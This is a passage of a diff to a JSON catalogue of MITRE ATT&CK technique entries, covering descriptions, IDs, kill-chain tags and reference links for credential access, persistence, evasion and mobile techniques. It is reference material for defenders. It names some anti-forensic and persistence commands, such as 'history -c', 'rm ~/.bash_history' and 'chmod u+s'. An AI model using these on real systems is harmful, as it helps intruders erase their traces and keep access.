authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)", "meta": { @@ -13875,12 +12527,6 @@ "description": "An iOS application may be able to maliciously claim a URL scheme, allowing it to intercept calls that are meant for a different application(Citation: FireEye-Masque2)(Citation: Dhanjani-URLScheme). This technique, for example, could be used to capture OAuth authorization codes(Citation: IETF-PKCE) or to phish user credentials(Citation: MobileIron-XARA).", "meta": { "external_id": "AUT-10", - "kill_chain": [ - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "iOS" - ], "refs": [ "http://www.dhanjani.com/blog/2010/11/insecure-handling-of-url-schemes-in-apples-ios.html", "https://attack.mitre.org/techniques/T1415", @@ -13898,13 +12544,6 @@ "description": "In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. macOS and Linux both keep track of the commands users type in their terminal so that users can retrace what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.", "meta": { "external_id": "T1146", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1146" ] @@ -13957,12 +12596,6 @@ "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)", "meta": { "external_id": "T1174", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", "https://attack.mitre.org/techniques/T1174", @@ -13985,12 +12618,6 @@ "description": "On Android, device type information is accessible to apps through the android.os.Build class (Citation: Android-Build). Device information could be used to target privilege escalation exploits.", "meta": { "external_id": "T1419", - "kill_chain": [ - "mitre-mobile-attack:discovery" - ], - "mitre_platforms": [ - "Android" - ], "refs": [ "https://attack.mitre.org/techniques/T1419", "https://developer.android.com/reference/android/os/Build" @@ -14004,14 +12631,6 @@ "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1194", "https://capec.mitre.org/data/definitions/163.html" @@ -14051,7 +12670,7 @@ "https://attack.mitre.org/techniques/T1615", "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult", - "https://github.com/PowerShellEmpire/Empire" + "https://github.com/EmpireProject/Empire" ] }, "uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b", @@ -14061,13 +12680,6 @@ "description": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command line interface or remotely logs in (such as SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files (Citation: intezer-kaiji-malware). These files require root permissions and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile (Rocke) which are sourced when a user opens a command line interface or connects remotely. Adversaries often use ~/.bash_profile since the system only executes the first file that exists in the listed order. Adversaries have also leveraged the ~/.bashrc file (Tsunami, Rocke, Linux Rabbit, Magento) which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command line interface. Some malware targets the termination of a program to trigger execution (Cannon), adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session(Pearl_shellbot). \n\nFor macOS, the functionality of this technique is similar but leverages zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.", "meta": { "external_id": "T1156", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1156", "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" @@ -14102,8 +12714,8 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1185", + "https://cobaltstrike.com/downloads/csmanual38.pdf", "https://en.wikipedia.org/wiki/Man-in-the-browser", - "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "https://www.cobaltstrike.com/help-browser-pivoting", "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" ] @@ -14112,16 +12724,12 @@ "value": "Browser Session Hijacking - T1185" }, { - "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory) (Citation: IBM Storwize) (Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, attackers looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. (Citation: Avast CCleaner3 2018) (Citation: Microsoft Dofoil 2018) (Citation: Command Five SK 2011) Targeting may be specific to a desired victim set (Citation: Symantec Elderwood Sept 2012) or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims. (Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency. (Citation: Trendmicro NPM Compromise)", "meta": { "external_id": "CAPEC-439", "kill_chain": [ "mitre-attack:initial-access" ], - "mitre_data_sources": [ - "File: File Metadata", - "Sensor Health: Host Status" - ], "mitre_platforms": [ "Linux", "Windows", @@ -14148,14 +12756,6 @@ "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).", "meta": { "external_id": "T1166", - "kill_chain": [ - "mitre-attack:privilege-escalation", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://man7.org/linux/man-pages/man2/setuid.2.html", "https://attack.mitre.org/techniques/T1166", @@ -14178,14 +12778,6 @@ "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", "meta": { "external_id": "T1168", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://www.thesafemac.com/new-signed-malware-called-janicab/", "https://attack.mitre.org/techniques/T1168", @@ -14212,13 +12804,6 @@ "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.", "meta": { "external_id": "T1196", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1196", "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/", @@ -14257,13 +12842,6 @@ "description": "Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nAdversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)", "meta": { "external_id": "T1223", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1223", "https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk", @@ -14422,15 +13000,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, - "related": [ - { - "dest-uuid": "e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", "value": "Access Contact List - T1432" }, @@ -14452,24 +13022,6 @@ "uuid": "2de38279-043e-47e8-aaad-1b07af6d0790", "value": "Network Service Scanning - T1423" }, - { - "description": "Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. \n\n \n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm. ", - "meta": { - "external_id": "T1532", - "kill_chain": [ - "mitre-mobile-attack:collection" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1532" - ] - }, - "uuid": "e3b936a4-6321-4172-9114-038a866362ec", - "value": "Archive Collected Data - T1532" - }, { "description": "Malicious applications may attempt to detect their operating environment prior to fully executing their payloads. These checks are often used to ensure the application is not running within an analysis environment such as a sandbox used for application vetting, security research, or reverse engineering. \nAdversaries may use many different checks such as physical sensors, location, and system properties to fingerprint emulators and sandbox environments.(Citation: Talos Gustuff Apr 2019)(Citation: ThreatFabric Cerberus)(Citation: Xiao-ZergHelper)(Citation: Cyberscoop Evade Analysis January 2019) Adversaries may access `android.os.SystemProperties` via Java reflection to obtain specific system information.(Citation: Github Anti-emulator) Standard values such as phone number, IMEI, IMSI, device IDs, and device drivers may be checked against default signatures of common sandboxes.(Citation: Sophos Anti-emulation)\n", "meta": { @@ -14492,15 +13044,7 @@ "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html" ] }, - "related": [ - { - "dest-uuid": "6ffad4be-bfe0-424f-abde-4d9a84a800ad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "786f488c-cb1f-4602-89c5-86d982ee326b", "value": "Evade Analysis Environment - T1523" }, @@ -14534,25 +13078,6 @@ "uuid": "248cbfdd-fec4-451b-b2a9-e46d4b268e30", "value": "Fast Flux DNS - T1325" }, - { - "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert. ", - "meta": { - "external_id": "STA-7", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1632", - "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html" - ] - }, - "uuid": "79cb02f4-ac4e-4335-8b51-425c9573cce1", - "value": "Subvert Trust Controls - T1632" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1326).\n\nDomain Registration Hijacking is the act of changing the registration of a domain name without the permission of the original registrant. (Citation: ICANNDomainNameHijacking)", "meta": { @@ -14627,7 +13152,15 @@ "https://attack.mitre.org/techniques/T1442" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e30cc912-7ea1-4683-9219-543b86cbdec9", "value": "Fake Developer Accounts - T1442" }, @@ -14646,9 +13179,9 @@ "value": "Conduct active scanning - T1254" }, { - "description": "Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1426) during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions. \n\n \n\nOn Android, much of this information is programmatically accessible to applications through the `android.os.Build` class. (Citation: Android-Build) iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running. ", + "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, and architecture.\n\nOn Android, much of this information is programmatically accessible to applications through the android.os.Build class.(Citation: Android-Build)\n\nOn iOS, techniques exist for applications to programmatically access this information.(Citation: StackOverflow-iOSVersion)", "meta": { - "external_id": "APP-12", + "external_id": "T1426", "kill_chain": [ "mitre-mobile-attack:discovery" ], @@ -14657,31 +13190,14 @@ "iOS" ], "refs": [ + "http://stackoverflow.com/questions/7848766/how-can-we-programmatically-detect-which-ios-version-is-device-running-on", "https://attack.mitre.org/techniques/T1426", - "https://developer.android.com/reference/android/os/Build", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" + "https://developer.android.com/reference/android/os/Build" ] }, "uuid": "e2ea7f6b-8d4f-49c3-819d-660530d12b77", "value": "System Information Discovery - T1426" }, - { - "description": "Adversaries may establish persistence using system mechanisms that trigger execution based on specific events. Mobile operating systems have means to subscribe to events such as receiving an SMS message, device boot completion, or other device activities. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via automatically and repeatedly executing malicious code. After gaining access to a victim’s system, adversaries may create or modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked. ", - "meta": { - "external_id": "T1624", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1624" - ] - }, - "uuid": "d446b9f0-06a9-4a8d-97ee-298cfee84f14", - "value": "Event Triggered Execution - T1624" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1246).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the technology or interconnections that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain) (Citation: RSA-supply-chain)", "meta": { @@ -14729,17 +13245,36 @@ "Windows" ], "refs": [ + "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", "https://adsecurity.org/?p=1588", "https://attack.mitre.org/techniques/T1482", "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)", - "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944", "https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/" ] }, "uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "value": "Domain Trust Discovery - T1482" }, + { + "description": "Adversaries may attempt to exploit enterprise servers, workstations, or other resources over the network. This technique may take advantage of the mobile device's access to an internal enterprise network either through local connectivity or through a Virtual Private Network (VPN).", + "meta": { + "external_id": "APP-32", + "kill_chain": [ + "mitre-mobile-attack:lateral-movement" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1428", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-32.html" + ] + }, + "uuid": "22379609-a99f-4a01-bd7e-70f3e105859d", + "value": "Exploit Enterprise Resources - T1428" + }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1249).\n\nSocial Engineering is the practice of manipulating people in order to get them to divulge information or take an action. (Citation: SEAttackVectors) (Citation: BeachSE2003)", "meta": { @@ -14774,14 +13309,6 @@ "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "meta": { "external_id": "T1492", - "kill_chain": [ - "mitre-attack:impact" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1492", "https://content.fireeye.com/apt/rpt-apt38", @@ -14801,7 +13328,7 @@ "value": "Stored Data Manipulation - T1492" }, { - "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", + "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim’s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", "meta": { "external_id": "T1525", "kill_chain": [ @@ -14809,7 +13336,6 @@ ], "mitre_data_sources": [ "Image: Image Creation", - "Image: Image Metadata", "Image: Image Modification" ], "mitre_platforms": [ @@ -14854,24 +13380,6 @@ "uuid": "e24fcba8-2557-4442-a139-1ee2f2e784db", "value": "Cloud Service Discovery - T1526" }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run applications. Hijacking execution flow can be for the purposes of persistence since this hijacked execution may reoccur over time. \n\nThere are many ways an adversary may hijack the flow of execution. A primary way is by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs or resources, such as file directories, could also be poisoned to include malicious payloads.", - "meta": { - "external_id": "APP-27", - "kill_chain": [ - "mitre-mobile-attack:persistence" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1625", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html" - ] - }, - "uuid": "670a4d75-103b-4b14-8a9e-4652fa795edd", - "value": "Hijack Execution Flow - T1625" - }, { "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1265).\n\nSupply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)", "meta": { @@ -14906,14 +13414,6 @@ "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n", "meta": { "external_id": "T1527", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "SaaS", - "Office 365" - ], "refs": [ "https://attack.mitre.org/techniques/T1527", "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/", @@ -15082,15 +13582,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, - "related": [ - { - "dest-uuid": "1d1b1558-c833-482e-aabb-d07ef6eae63d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "79eec66a-9bd0-4a3f-ac82-19159e94bd44", "value": "Access Call Log - T1433" }, @@ -15116,7 +13608,15 @@ "https://attack.mitre.org/techniques/T1443" ] }, - "related": [], + "related": [ + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "831e3269-da49-48ac-94dc-948008e8fd16", "value": "Remotely Install Application - T1443" }, @@ -15159,15 +13659,7 @@ "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html" ] }, - "related": [ - { - "dest-uuid": "a9fa0d30-a8ff-45bf-922e-7720da0b7922", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": 